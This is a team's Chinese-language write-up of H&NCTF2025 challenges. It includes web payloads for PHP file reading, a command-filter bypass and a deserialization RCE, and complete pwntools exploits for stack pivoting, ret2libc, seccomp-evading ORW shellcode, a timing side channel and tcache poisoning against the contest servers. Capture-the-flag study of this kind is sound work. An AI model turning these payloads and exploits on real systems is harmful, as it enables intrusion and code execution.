H&NCTF2025

1280X1280-1

本次比赛排名为 42

没有达到队伍的期望水准 ,还需要继续加油

WEB

DeceptiFlag

image-20250608130927843

提交一个参数会跳转到

image-20250616003527447

有qaq_visible 和 Lang

image-20250608131041868

看源码也可以发现 post 提交 qaq_visible 和 Lang

还有个get参数 qaq

paylaod: get ?qaq=xiyangyang

post qaq_visible=任意值&Lang=huitailang

image-20250608131214864

任意文件读取

这里看一下cookie 会发现flag文件 base64解码可以得到 /var/flag/flag.txt

image-20250608131250823

image-20250616003609561

用php伪协议 进行文件读取

/tips.php?file=php://filter/read/resource=/var/flag/flag.txt

image-20250616003732494

Really_Ez_Rce

image-20250616003741374

用变量拼接一下就可以绕过

paylaod:

Number[]=1&cmd=a=l;b=s;$a$b /

image-20250616003750471

发现了flag.txt文件 但是.被过滤了 直接拼接也绕不过

通过grep 查找一下flag.txt文件 并赋给一个变量f

Number[]=1&cmd=a=l;b=s;c=gr;d=ep;f=$($a$b / | $c$d fla);echo $f

可以发现现在$f=flag.txt

拼接tac 读取flag.txt

paylaod:

Number[]=1&cmd=a=l;b=s;c=gr;d=ep;q=ta;w=c;f=$($a$b / | $c$d fla);$q$w /$f

image-20250608132113557

ez_php

image-20250608132140697

poc:

<?php
class GOGOGO {
public $dengchao;
}

class DouBao {
public $dao;
public $Dagongren;
public $Bagongren;
}

class HeiCaFei {
public $HongCaFei;
}

$heicafei = new HeiCaFei();
$heicafei->HongCaFei = 'system';

$doubao = new DouBao();
$doubao->dao = [$heicafei, 'ls /'];
$doubao->Dagongren = array(1);
$doubao->Bagongren = array(2);

$gogogo = new GOGOGO();
$gogogo->dengchao = $doubao;

// 验证数组序列化
echo "测试数组序列化:\n";
echo serialize(array(1)); // 应输出 a:1:{i:0;i:1;}

echo "\n\n完整Payload:\n";
echo serialize($gogogo);
?>

运行得到

O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:4:"ls /";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:2;}}}

把 O的1改为2 绕过 throw new Exception(‘What do you want to do?’);

image-20250608132353780

ofl1111111111ove4g 这个是flag文件

data=O:6:"GOGOGO":2:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:23:"cat /ofl1111111111ove4g";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:2;}}}

image-20250616003816105

PWN

Stack Pivoting

1280X1280

常规检查 : NX保护

img

很明显的栈溢出漏洞 , 但是只有 0x10 字节的溢出 , 所以我们需要进行栈迁移

1280X1280

给了需要的 gadgets ,直接打 ret2libc , 利用 puts 函数泄露出 libc

由于出题人不小心把libc绑到自己的路径了 , 所以我们需要改一下 libc 路径 , 但是由于题目比较简单 , 我就直接盲打了

EXP:

from pwn import*
from struct import*
from LibcSearcher import*
#p = process('./pwn')
p = remote('27.25.151.198',49211)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(arch='amd64',log_level='debug',os='linux')
#context(arch='i386',log_level='debug',os='linux')
#shellcode = asm(shellcraft.sh())

def ELF(func_name):
globals()[f"{func_name}_got"] = elf.got[func_name]
globals()[f"{func_name}_plt"] = elf.plt[func_name]

def GDB(script=""):
gdb.attach(p, gdbscript=script)

def ph(var):
var_name = [name for name, value in globals().items() if value is var][0]
log.info(f"{var_name} >> {hex(var)}")

def ELFlibc(real_addr, func_name):
global libc_base, system, binsh
libc_base = real_addr - libc.symbols[func_name]
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
success(f"libc_base >> {hex(libc_base)}")

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)

#------------------------------------------------------------------------------------#
pop_rdi = 0x0000000000401263
ret = 0x000000000040101a
bss = elf.bss()+0x900
again = 0x4011B7
main = 0x40119F
leave_retn = 0x4011CE
#------------------------------------------------------------------------------------#
ru("can you did ?\n")
ELF("puts")
payload = b'a'*0x40 + p64(bss+0x40) + p64(again)
sd(payload)
payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
payload = payload.ljust(0x40,b'\x00') + p64(bss-8) + p64(leave_retn)
sd(payload)
puts = l64()
ph(puts)
ELFlibc(puts,"puts")
ru("can you did ?\n")
payload = b'a'*0x40 + p64(bss+0x40+0x100) + p64(again)
sd(payload)
payload = p64(pop_rdi) + p64(binsh) + p64(system)
payload = payload.ljust(0x40,b'\x00') + p64(bss+0x100-8) + p64(leave_retn)
sd(payload)
p.interactive()

三步走战略

无标题

常规检查 : 64位程序 没有开启NX保护

无标题

题目设置了一些沙箱规则 ,我们利用 seccomp-tools 工具查看一下沙箱限制 。

img

这题对 open、read、write 没有限制 ,所以考虑打 orw

img

程序开启了一个可执行的空间·,让我们输入 shellcode 进入 buf ,最后还给了我们一个栈溢出 ,所以目标很明确了 ,就是栈溢出控制执行流到 buf 执行 shellcode 。

EXP:

from pwn import*
from struct import*
from LibcSearcher import*
p = process('./pwn')
#p = remote('27.25.151.198',38733)
elf = ELF('./pwn')
#libc = ELF('./libc.so.6')
context(arch='amd64',log_level='debug',os='linux')
#context(arch='i386',log_level='debug',os='linux')
#shellcode = asm(shellcraft.sh())

def GDB(script=""):
gdb.attach(p, gdbscript=script)

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)

#------------------------------------------------------------------------------------#
bss = elf.bss() + 0x500
buf = 0x1337000
#------------------------------------------------------------------------------------#

shellcode = asm("""
nop
nop
nop
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
""")
ru("I think you need to prepare your acceptance speech in advance. ")
#GDB("b *0x4014be")
sd(shellcode)
ru("Please speak:Do you have anything else to say?")
payload = b'a'*0x48 + p64(buf)
sd(payload)
p.interactive()

pdd助力

无标题-1

常规检查:

64位 NX保护

无标题-1

题目和随机数有关 ,但是仔细一看不难发现 ,随机数种子不为NULL,且都是有一定范围的固定值的 ,所以我们直接按着程序给的数据进行种子模拟 ,这样我们生成的随机数,就会按固定的顺序排列 ,这样我们就可以做到连续正确 ,从而进入 func ()函数。

无标题

简单明了的给了我们一个栈溢出 ,接下来就很好办了。

EXP:

from pwn import*
from struct import*
from LibcSearcher import*
from ctypes import CDLL

#p = process('./pwn')
p = remote('27.25.151.198',37944)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
libc = CDLL("libc.so.6")
context(arch='amd64',log_level='debug',os='linux')
#context(arch='i386',log_level='debug',os='linux')
#shellcode = asm(shellcraft.sh())

def ELF(func_name):
globals()[f"{func_name}_got"] = elf.got[func_name]
globals()[f"{func_name}_plt"] = elf.plt[func_name]

def GDB(script=""):
gdb.attach(p, gdbscript=script)

def Libcer(real_addr, func_name):
global libc_base, system, binsh
libc = LibcSearcher(func_name,real_addr)
libc_base = real_addr - libc.dump(func_name)
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
success(f"libc_base >> {hex(libc_base)}")

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)

#------------------------------------------------------------------------------------#
ret = 0x000000000040101a
pop_rdi = 0x0000000000401483
again = 0x40121F
#------------------------------------------------------------------------------------#
#ru("good!\n")
current_time = int(time.time())
seed = current_time
libc.srand(seed)
v5 = libc.rand()
new_seed = v5 % 5 - 44174237
libc.srand(new_seed)
for i in range(55):
ru("good!\n")
rand_num = libc.rand() % 4 + 1
sl(str(rand_num))
ru("good!\n")
libc.srand(8)
for i in range(55):
rand_num = libc.rand() % 4 + 8
sl(str(rand_num))
ru("Congratulations young man.\n")
ELF("puts")
payload = b'a'*0x38 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(again)
sd(payload)
puts = l64()
Libcer(puts,'puts')
ru("Congratulations young man.\n")
payload = b'a'*0x38 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
sd(payload)
p.interactive()

shellcode

无标题

常规检查:

64位 NX保护 PIE保护

img

主函数没什么好讲的 ,就是输入并执行shellcode 。 但是有一个 setup_sandbox 函数 ,对沙箱设置进行了限制 。

无标题

禁用了write,sendfile ,execve , 但是没有禁用 writev 。这题有两种打法 ,一个就是侧信道爆破 ,另外一个就是 open + read + writev ,这样看肯定是第二种打法方便很多 ,但是为什么我会傻傻的去用第一种呢,原因就在于题目附件下下来就发现了一个exp , 那个exp的打法就是侧信道爆破 , 虽然那个脚本打不通 ,但是这让我误以为这个题就是用侧信道爆破打的 , 导致我那时候连沙箱规则都没检查,然后就糊里糊涂的去爆破了 (赛后看了很多师傅的wp都用的是侧信道爆破哈哈)。

这里先贴一个侧信道爆破的EXP:

EXP1:

from pwn import*
from struct import*
from LibcSearcher import*

#flag{74a282ba-9a86-466c-hd892089d9e2bef71}
#flag{74a2P2ba-9a86-466c-hd892089d9e2bef71}
#flag{74a284ba-9a86-466c-hd892089d9e2bef71}
#flag{74a284bb
#flag{75a2
#flag{74a282ba-9a86-466c-ad89-088d8e2bbf71}
def pwn():
global s
flag = ''
count = 1
for i in range(len(flag), 0x50):
left = 32
right = 127
while left < right:
#s = process('./ezshell')
s = remote('27.25.151.198',49313)

mid = (left + right) >> 1
orw_shellcode = f'''
mov rdi, 0x67616c66
push rdi
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall
mov rdi, 3
mov rsi, rsp
mov rdx, 0x100
mov rax, 0
syscall
mov dl, byte ptr [rsp+{i}]
mov cl, {mid}
cmp dl, cl
ja loop
ret
loop:
jmp loop
'''
s.recvuntil("Enter your command: ")
s.sendline(asm(orw_shellcode))
start_time = time.time()
try:
s.recv(timeout=2)
if(time.time() - start_time > 0.1):
left = mid + 1
except:
right = mid
s.close()
log.info('time-->' + str(count))
log.info(flag)
count += 1
flag += chr(left)
log.info(flag)
if(flag[-1] == '}'):
break
pwn()
p.interactive()

然后再贴一个 writev 的exp:

from pwn import*
from struct import*
from LibcSearcher import*
from ctypes import CDLL
p = process('./pwn')
#p = remote('27.25.151.198',47100)
elf = ELF('./pwn')
#libc = ELF('./libc.so.6')
#libc = CDLL("libc.so.6")
context(arch='amd64',log_level='debug',os='linux')
#context(arch='i386',log_level='debug',os='linux')
#shellcode = asm(shellcraft.sh())

LIBC = lambda func :libc_base + libc.sym[func]
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)

#------------------------------------------------------------------------------------#

#------------------------------------------------------------------------------------#
shellcode = asm(
"""
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
xor edx, edx
xor esi, esi
push SYS_open
pop rax
syscall

push 3
pop rdi
push 0x1 /* iov size */
pop rdx
push 0x100
lea rbx, [rsp-8]
push rbx
mov rsi, rsp
push SYS_readv
pop rax
syscall

push 1
pop rdi
push 0x1 /* iov size */
pop rdx
push 0x100
lea rbx, [rsp+8]
push rbx
mov rsi, rsp
push SYS_writev
pop rax
syscall

"""
)
ru("Enter your command: ")
sd(shellcode)
p.interactive()

梦中情pwn

img

常规检查 : 64位 NX保护 PIE保护

LIBC:2.35-0ubuntu3.8_amd64

img

无标题-1

题目不难 ,但是我第一次遇到有关导入 FLAG 环境的题目 ,我发现我本地环境没有 FLAG ,本地运行不了程序 ,不能调试,而且换libc之后的时候环境还出了问题,我就没有继续往下做了 ,这里其实可以直接用 export FLAG=”your_test_flag_here” ,向本地环境导入一个自己的 FLAG 环境就可以了 。

这题的 GLibc 是 2.35 版本

无标题

其中 flag 存储在一个 0x51 大小的堆块里面, 注意 0x91 大小的堆块的第一个内容, 其实就是我们 flag_chunk内容的指针 ,程序的show功能函数就是通过这个进行读取打印操作的,但是我们不能直接利用 红框 内的指针 ,因为程序对其进行了限制 ,不能使用 index 为 0 的指针 。

无标题

存在一个 uaf 漏洞 , free后没有对指针进行一个置空 。

我们可以利用 double free 漏洞来利用 fastbin 转 tcache bin 来申请出 0x91 内容处指针的位置 ,并且利用 tcache attack 来修改内容处的指针指向 flag 的指针 。

EXP:

from pwn import*
from struct import*
from LibcSearcher import*
from ctypes import CDLL
p = process('./pwn')
#p = remote('27.25.151.198',40821)
elf = ELF('./pwn')
#libc = ELF('./libc.so.6')
#libc = CDLL("libc.so.6")
context(arch='amd64',log_level='debug',os='linux')
#context(arch='i386',log_level='debug',os='linux')
#shellcode = asm(shellcraft.sh())

def GDB(script=""):
gdb.attach(p, gdbscript=script)


def add(content):
ru("4) Leaving the dream space\n")
sl("1")
ru("Please enter the content of the dream you wish to record (up to 64 characters).\n")
sl(content)

def show(index):
ru("4) Leaving the dream space\n")
sl("2")
ru("Please select the dream number you want to access:\n")
sl(str(index))

def free(index):
ru("4) Leaving the dream space\n")
sl("3")
ru("Please select the dream number you want to access:\n")
sl(str(index))

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
LIBC = lambda func :libc_base + libc.sym[func]
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)

#------------------------------------------------------------------------------------#

#------------------------------------------------------------------------------------#
for i in range(9):
add(b'a'*8)
add(b'a'*0x20)
for i in range(7):
free(i+1)

free(8)
free(9)
free(8)
for i in range(7):
add(b'a'*8)
free(3)
free(10)
add(b'a'*8)
show(10)
ru(b'\"')
key = u64(p.recv(5).ljust(8,b'\x00'))
heap_base = key<<12
addr = heap_base + 0x2d0
add(p64(addr^key))
add(b'a'*8)
add(b'a'*8)
flag = heap_base + 0x330
add(p64(flag)*2)
show(6)
#GDB()
p.interactive()